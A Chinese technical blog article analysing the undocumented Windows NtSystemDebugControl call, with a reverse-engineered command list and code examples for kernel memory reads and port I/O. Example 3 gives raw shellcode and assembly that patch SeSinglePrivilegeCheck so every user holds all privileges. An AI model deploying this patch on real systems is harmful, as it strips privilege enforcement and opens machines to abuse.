对Native API NtSystemDebugControl的分析

在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

   NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT    0xba
Windows 2000   0xde
Windows XP    0xff
Windows 2003   0x108

   这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

   这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
   SysDbgQueryTraceInformation = 1,   //KdGetTraceInformation()
   SysDbgSetTracepoint = 2,        //KdSetInternalBreakpoint()
   SysDbgSetSpecialCall = 3,        //KdSetSpecialCall()
   SysDbgClearSpecialCalls = 4,      //KdClearSpecialCalls()
   SysDbgQuerySpecialCalls = 5,      //KdQuerySpecialCalls()
   SysDbgQueryModuleInformation      //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
   IN SYSDBG_COMMAND Command,
   IN PVOID Input Buffer,
   IN ULONG InputBufferLength,
   OUT PVOID OutputBuffer,
   IN ULONG OutputBufferLength,
   OUT PULONG ReturnLength
   );

   从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

   NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

   从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据 逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

   关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

   下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
   SysDbgGetTraceInformation = 1,
   SysDbgSetInternalBreakpoint = 2,
   SysDbgSetSpecialCall = 3,
   SysDbgClearSpecialCalls = 4,
   SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
   SysDbgDbgBreakPointWithStatus = 6,

   //获取KdVersionBlock
   SysDbgSysGetVersion = 7,

   //从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
   //但是不能从用户空间拷贝到内核空间
   SysDbgCopyMemoryChunks_0 = 8,
  //SysDbgReadVirtualMemory = 8,

   //从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
   //但是不能从内核空间拷贝到用户空间
   SysDbgCopyMemoryChunks_1 = 9,
  //SysDbgWriteVirtualMemory = 9,

   //从物理地址拷贝到用户空间,不能写到内核空间
   SysDbgCopyMemoryChunks_2 = 10,
  //SysDbgReadVirtualMemory = 10,

   //从用户空间拷贝到物理地址,不能读取内核空间
   SysDbgCopyMemoryChunks_3 = 11,
  //SysDbgWriteVirtualMemory = 11,

   //读写处理器相关控制块
   SysDbgSysReadControlSpace = 12,
   SysDbgSysWriteControlSpace = 13,

   //读写端口
   SysDbgSysReadIoSpace = 14,
   SysDbgSysWriteIoSpace = 15,

   //分别调用RDMSR@4和_WRMSR@12
   SysDbgSysReadMsr = 16,
   SysDbgSysWriteMsr = 17,

   //读写总线数据
   SysDbgSysReadBusData = 18,
   SysDbgSysWriteBusData = 19,

   SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

   //分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
   SysDbgEnableDebugger = 21,
   SysDbgDisableDebugger = 22,
   
   //获取和设置一些调试相关的变量
   SysDbgGetAutoEnableOnEvent = 23,
   SysDbgSetAutoEnableOnEvent = 24,
   SysDbgGetPitchDebugger = 25,
   SysDbgSetDbgPrintBufferSize = 26,
   SysDbgGetIgnoreUmExceptions = 27,
   SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

   从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

   显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

   下面举几个具体应用的例子。

例子1:
   
   下面代码演示读取KdVersionBlock:

//------------------------------------------------------------------------
typedef struct _DBGKD_GET_VERSION64 {
   USHORT  MajorVersion;
   USHORT  MinorVersion;
   USHORT  ProtocolVersion;
   USHORT  Flags;
   USHORT  MachineType;
   UCHAR  MaxPacketType;
   UCHAR  MaxStateChange;
   UCHAR  MaxManipulate;
   UCHAR  Simulation;
   USHORT  Unused[1];
   ULONG64 KernBase;
   ULONG64 PsLoadedModuleList;
   ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
   SysDbgSysGetVersion,
   NULL,
   0,
   &KdVersionBlock,
   sizeof(KdVersionBlock), //必须是0x28
   NULL
);

printf ("KernBase:        0x%.8x/n",KdVersionBlock.KernBase);
printf ("PsLoadedModuleList: 0x%.8x/n",KdVersionBlock.PsLoadedModuleList);
printf ("DebuggerDataList:  0x%.8x/n",KdVersionBlock.DebuggerDataList);
//------------------------------------------------------------------------

例子2:

   下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//------------------------------------------------------------------------
typedef struct _MEMORY_CHUNKS {
   ULONG Address;
   PVOID Data;
   ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff;  //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
   SysDbgCopyMemoryChunks_0,
   &QueryBuff,
   sizeof(MEMORY_CHUNKS),  //必须是0x0C
   NULL,
   0,
   &ReturnLength
);

printf ("/"MZ/":  %s/n",Buff);
//------------------------------------------------------------------------

例子3:

   下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c        mov    al,[ebp+0xc]
80580e69 c9          leave
80580e6a c20c00        ret    0xc

修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90          nop
80580e67 b001         mov    al,0x1
80580e69 c9          leave
80580e6a c20c00        ret    0xc

   这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

   /xeb/x09/x66/xb8/x08/x01/x8b/xd4/x0f/x34/xc3/x68/x90/xb0/x01/xc9
   /x8b/xc4/x6a/x04/x50/x68/x66/x0e/x58/x80/x54/x5b/x33/xc0/x50/x54
   /x50/x50/x6a/x0c/x53/x6a/x09/x50/xe8/xd5/xff/xff/xff/x83

//------------------------------------------------------------------------
#pragma comment(linker, "/entry:main /ALIGN:4096" )
#pragma comment(lib, "kernel32.lib")

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)
{
   __asm
   {
      int 3  //debug
      jmp patch

SystemDebugControl:

      mov ax,0x108
      mov edx,esp
      sysenter
      ret

patch:

      push 0xc901b090
      mov eax,esp
      push 0x04
      push eax
      push 0x80580e66
      push esp
      pop ebx
      xor eax,eax
      push eax
      push esp  //ReturnLength
      push eax  //OutputBufferLength
      push eax  //OutputBuffer
      push 0x0c //InputBufferLength
      push ebx  //InputBuffer
      push 0x09 //ControlCode
      push eax  //for sysenter ret
      call SystemDebugControl
      add esp,0x30   //只是为了修正堆栈
   }
}
//------------------------------------------------------------------------

   上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

   下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//------------------------------------------------------------------------
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32")

#define NTAPI     __stdcall
#define FCHK(a)    if (!(a)) {printf(#a " failed/n"); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
  SysDbgSysReadIoSpace = 14,
  SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
   SYSDBG_COMMAND ControlCode,
   PVOID InputBuffer,
   ULONG InputBufferLength,
   PVOID OutputBuffer,
   ULONG OutputBufferLength,
   PULONG ReturnLength
   );

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
   DWORD IoAddr;     // IN: Aligned to NumBYTEs,I/O address
   DWORD Reserved1;   // Never accessed by the kernel
   PVOID pBuffer;    // IN (write) or OUT (read): Ptr to buffer
   DWORD NumBYTEs;    // IN: # BYTEs to read/write. Only use 1, 2, or 4.
   DWORD Reserved4;   // Must be 1
   DWORD Reserved5;   // Must be 0
   DWORD Reserved6;   // Must be 1
   DWORD Reserved7;   // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
   HANDLE hToken;
   BOOL rv;
   
   TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
   LookupPrivilegeValue (
      0,
      name,
      &priv.Privileges[0].Luid
   );
   
   OpenProcessToken(
      GetCurrentProcess (),
      TOKEN_ADJUST_PRIVILEGES,
      &hToken
   );
   
   AdjustTokenPrivileges (
      hToken,
      FALSE,
      &priv,
      sizeof priv,
      0,
      0
   );
   rv = GetLastError () == ERROR_SUCCESS;
   
   CloseHandle (hToken);
   return rv;
}

BYTE InPortB (int Port)
{
   BYTE Value;
   IO_STRUCT io;
   
   io.IoAddr = Port;
   io.Reserved1 = 0;
   io.pBuffer = (PVOID) (PULONG) & Value;
   io.NumBYTEs = sizeof (BYTE);
   io.Reserved4 = 1;
   io.Reserved5 = 0;
   io.Reserved6 = 1;
   io.Reserved7 = 0;
   
   ZwSystemDebugControl
   (
      SysDbgSysReadIoSpace,
       &io,
       sizeof (io),
       NULL,
       0,
       NULL
   );
   return Value;
}

void OutPortB (int Port, BYTE Value)
{
   IO_STRUCT io;
   
   io.IoAddr = Port;
   io.Reserved1 = 0;
   io.pBuffer = (PVOID) (PULONG) & Value;
   io.NumBYTEs = sizeof (BYTE);
   io.Reserved4 = 1;
   io.Reserved5 = 0;
   io.Reserved6 = 1;
   io.Reserved7 = 0;
   
   ZwSystemDebugControl
   (
      SysDbgSysWriteIoSpace,
      &io,
      sizeof (io),
      NULL,
      0,
      NULL
   );
};

void BeepOn (int Freq)
{
   BYTE b;

   if ((Freq >= 20) && (Freq <= 20000))
   {
      Freq = 1193181 / Freq;
      b = InPortB (0x61);
      if ((b & 3) == 0)
   {
      OutPortB (0x61, (BYTE) (b | 3));
      OutPortB (0x43, 0xb6);
   }
      OutPortB (0x42, (BYTE) Freq);
      OutPortB (0x42, (BYTE) (Freq >> 8));
   }
}

void BeepOff (void)
{
   BYTE b;

   b = (InPortB (0x61) & 0xfc);
   OutPortB (0x61, b);
}

int main (void)
{
   HMODULE hNtdll;
   ULONG ReturnLength;
   OSVERSIONINFO OSVersionInfo;
   OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

   EnablePrivilege (SE_DEBUG_NAME);

   FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);
   FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
        GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);
   FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

   if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
      OSVersionInfo.dwMajorVersion >= 5 &&
      OSVersionInfo.dwMinorVersion >= 1)   //Windows XP以上
   {
      BeepOn (1000);  //声音频率1000Hz
      Sleep (1000);
      BeepOff ();
   }
   else
   {
      printf ("This program require Windows XP or Windows 2003./n");
   }
   return 0;
}
//------------------------------------------------------------------------


参考资源:

[1] Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
  Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值